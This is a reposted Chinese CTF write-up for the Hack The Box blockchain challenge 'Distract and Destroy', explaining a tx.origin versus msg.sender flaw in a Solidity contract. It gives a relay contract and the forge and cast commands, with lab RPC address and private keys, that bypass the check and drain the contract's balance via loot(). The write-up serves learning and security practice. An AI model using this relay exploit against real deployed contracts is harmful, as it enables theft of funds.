htb—ctf-blockchain/Distract_and Destroy

admin 2024年6月18日22:11:54评论5 views字数 6625阅读22分5秒阅读模式
 

初始化

创建了一个Creature的类,加以调用,这个部分没啥

// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;import {Creature} from "./Creature.sol";contract Setup {    Creature public immutable TARGET;          constructor() payable {                 require(msg.value == 1 ether);                     TARGET = new Creature{value: 10}();                      }                         function isSolved() public view returns (bool) {                               return address(TARGET).balance == 0;                           }                          }
代码片段

需要关注的的是这个类

Creature.sol// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;contract Creature {    uint256 public lifePoints;     address public aggro;       constructor() payable {              lifePoints = 1000;                 }                     function attack(uint256 _damage) external {                           if (aggro == address(0)) {                                 aggro = msg.sender;                                     }                                              if (_isOffBalance() && aggro != msg.sender) {                                                      lifePoints -= _damage;                                                           } else {                                                                lifePoints -= 0;                                                                  }                                                                 }                                                                   function loot() external {                                                                        require(lifePoints == 0, "Creature is still alive!");                                                                             payable(msg.sender).transfer(address(this).balance);                                                                         }                                                                         function _isOffBalance() private view returns (bool) {                                                                             return tx.origin != msg.sender;                                                                         }                                                                     }
代码片段

这里它给一个变量赋值了1000,也就是游戏里怪物的血量,在初始化类中它直接调用的这里创建了一个1000hp的怪物。

constructor() payable {lifePoints = 1000;}
代码片段

然后是攻击部分,这里函数允许接受一个uint256的数字变量

这里在初次调用attack()时,首先判断aggro是否为空,如为空则将第一个攻击函数调用者的地址赋予它。

这里可以把aggro看作是生物的仇恨目标,谁先发起攻击,他就一直仇恨谁。

在之后的判断的逻辑中需要满足,后来攻击者的地址不能等于第一个攻击者的地址。

function attack(uint256 _damage) external {if (aggro == address(0)) {aggro = msg.sender;}...
代码片段

其次是主要攻击部分,这里引入了一个_isOffBalance()函数返回布尔,当达成条件时

即可让lifePointes减少对应的hp也就是_damage变量lifePoints -= _damage

if (_isOffBalance() && aggro != msg.sender) {        lifePoints -= _damage;    } else {        lifePoints -= 0;    }}
代码片段

当满足_isOffBalance()以及用正常地址调用合约时,便可减少怪物血量

所以接下来看_isOffBalance()是如何构造的

function _isOffBalance() private view returns (bool) {        return tx.origin != msg.sender;    }
代码片段

他在这里用tx.origin != msg.sender做对比,当两个值不相等时便返回true

这里的tx.origin是合约初始调用地址

而msg.sender则是最近发送者的合约地址。

用一个简单的合约调用链来看下,方便理解

EOA —> 合约A —>合约B

这里EOA是我们的原始地址

举个例子,如果我们的原始合约地址是0x0010

当在调用合约A时,合约A里两个变量:

msg.sender=0x0010

tx.origin=0x0010

此时如果我们通过合约A再调用合约B

在合约B中看两个变量:

msg.sender=0x0011 #<-这个是合约A的合约地址tx.origin=0x0010
代码片段

可以发现在合约B中的msg.sender变成了合约A的地址,msg.sender代表的是最近的调用者合约地址

而tx.origin则是不会变的,依旧是EOA最初的地址,tx.origin代表的就是原始合约地址

这是两者最显著的区别。

再回过头去看这个函数,其实就是原始调用地址不能等于最近调用者的合约地址。

function _isOffBalance() private view returns (bool) {        return tx.origin != msg.sender;    }
代码片段

简单的说,不可以直接用原始合约来调用这个合约

要用中间在做一层合约,去调用这个合约,即刻达成返回true,就像下面这样

EOA —> 合约A —>合约B

为此我们需要构造一个合约来利用

除此之外,我们还需要关注之前的aggro != msg.sender也要满足

至此我们现在需要满足以下几个条件,即可发起攻击:

1.为满足aggro != msg.sender,我们需要先用一个诱饵地址去吸引仇恨

2.在满足1的前提下,为满足tx.origin != msg.sender须通过一个新合约去调用这个游戏的合约。

可能有师傅条件一多就有点混了,会想用户和合约中继分别发起攻击,不分前后顺序可不可以?

答案是不行

原因是,虽然不分前后顺序确实都可以满足aggro != msg.sender,但是却无法满足tx.origin != msg.sender

如果首先发起攻击请求的是中继合约

1.aggro目标指向了中继合约用户,然后aggro != msg.senderfalse

2.再EOA发起,aggro != msg.senderTrue,但是这里tx.origin != msg.sender会false,因为首先tx.origin代表的合约原始地址,msg.sender则是距离游戏合约最近一个调用的地址,这里因为本次调用者是EOA,导致原始调用是EOA的同时距离最近调用者也是EOA。所以俩值一毛一样了..

如果顺序反过来,由EOA先调用,再调用中继合约

1.aggro目标指向了EOA用户,然后aggro != msg.senderfalse

2.再用中继合约,tx.origin != msg.sender,tx.origin等于原始调用者EOA,msg.sender等于中继合约,于是True,所以可以发起攻击。

htb—ctf-blockchain/Distract_and Destroy

中继合约构造

1.首先我们要构造一个基于本游戏合约的中继合约需要引入他的对象,其实有点类似于java那种引入一个外部库的类,然后用地址将其实例化。

我们先看下游戏自己的sol咋写的

// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;contract Creature {    uint256 public lifePoints;    address public aggro;    constructor() payable {        lifePoints = 1000;    }    function attack(uint256 _damage) external {        if (aggro == address(0)) {            aggro = msg.sender;        }        if (_isOffBalance() && aggro != msg.sender) {            lifePoints -= _damage;        } else {            lifePoints -= 0;        }    }    function loot() external {        require(lifePoints == 0, "Creature is still alive!");        payable(msg.sender).transfer(address(this).balance);    }    function _isOffBalance() private view returns (bool) {        return tx.origin != msg.sender;    }}
代码片段

然后我是这么写的,引入Creature.sol的Creature合约对象,然后给新合约起个名叫flower(

└─$ cat src/attc.sol // SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;import {Creature} from "./Creature.sol";contract flower{    Creature public creture;    constructor (Creature _creature){        creture = _creature;    }    function attackA(uint256 _damage) external{        creture.attack(_damage);    }} 
代码片段

合约构造与使用

  1. 首先用forge初始化一下合约目录
└─$ ~/tools/blockchain/forge init --forceTarget directory is not empty, but `--force` was specifiedInitializing /home/xxxx/Desktop/blockchain_distract_and_destroy...Installing forge-std in /home/xxxx/Desktop/blockchain_distract_and_destroy/lib/forge-std (url: Some("https://github.com/foundry-rs/forge-std"), tag: None)    Installed forge-std v1.7.6    Initialized forge project
代码片段

可以看到当前目录下多了不少文件夹

└─$ ls                                cache  foundry.toml  lib  out  README.md  script  src  test
代码片段

把我们的.sol和Creature.sol一起丢到./src目录下

2.在链上线合约

用游戏给我们的私钥进行签名认证。然后在将target address作为Creature _creature的生成初始化变量传入到里面的对象,这样我们的合约内的对象就与游戏的对象连到了一起。

2345678forge create src/attc.sol:flower --rpc-url "http://94.237.52.48:35311/rpc" --private-key 0x8a277e85b81b9f66613490f2ba53a40bce5a65f6aecce9e06f3f59aa48ec271c --constructor-args 0x276B1607C79025D125E010740cA3ECD3656F9C54[⠊] Compiling...[⠰] Compiling 27 files with 0.8.24[⠘] Solc 0.8.24 finished in 4.36sCompiler run successful!Deployer: 0x0B0c991073613cF3D49cf8360696F9046aEc871fDeployed to: 0xF68da11A8582ba729e9d8724a4d02718D5fd5207Transaction hash: 0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0
代码片段

同时还会得到我们自己合约在链上的地址与哈希

Deployer: 部署者地址,即发起部署操作的账户地址。在这里是 >0x0B0c991073613cF3D49cf8360696F9046aEc871f。

Deployed to: 合约部署地址,即智能合约在区块链上的部署地址。在这里是 >0xF68da11A8582ba729e9d8724a4d02718D5fd5207。

Transaction hash: 交易哈希,即进行合约部署操作的交易的哈希值。它用于在区块链上查找该交易的详情和状态。在这里>0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0

调用部分

  1. 先用EOA,也就是用户直接对目标地址发起请求
cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attack(uint256)" 0
代码片段

2.再调用我们的合约,对我们上线的合约发起请求

cast send "0xF68da11A8582ba729e9d8724a4d02718D5fd5207" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attackA(uint256)" 1000
代码片段

3.没报错的话就是调用成功了,到此就可以调用游戏的合约的loot()结算了

cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "loot()"
代码片段

访问http://url/flag拿flag结束了

htb—ctf-blockchain/Distract_and Destroy

来源 || 響

编辑 || 轩白

 

原文始发于微信公众号(隼目安全):【相关分享】htb—ctf-blockchain/Distract_and Destroy

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月18日22:11:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   htb—ctf-blockchain/Distract_and Destroyhttps://cn-sec.com/archives/2861015.html

发表评论

匿名网友 填写信息